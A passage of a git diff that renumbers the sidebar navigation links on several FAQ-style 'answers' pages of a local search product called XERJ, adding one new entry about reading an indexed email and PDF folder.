<a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/vector-database-vs-full-text-search.html b/landing/answers/vector-database-vs-full-text-search.htmlindex 16ca266ae..d2a6e490c 100644--- a/landing/answers/vector-database-vs-full-text-search.html+++ b/landing/answers/vector-database-vs-full-text-search.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class="active"><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class="active"><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/what-a-share-link-guest-can-reach.html b/landing/answers/what-a-share-link-guest-can-reach.htmlindex e7d96158f..5590bb94c 100644--- a/landing/answers/what-a-share-link-guest-can-reach.html+++ b/landing/answers/what-a-share-link-guest-can-reach.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class="active"><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my 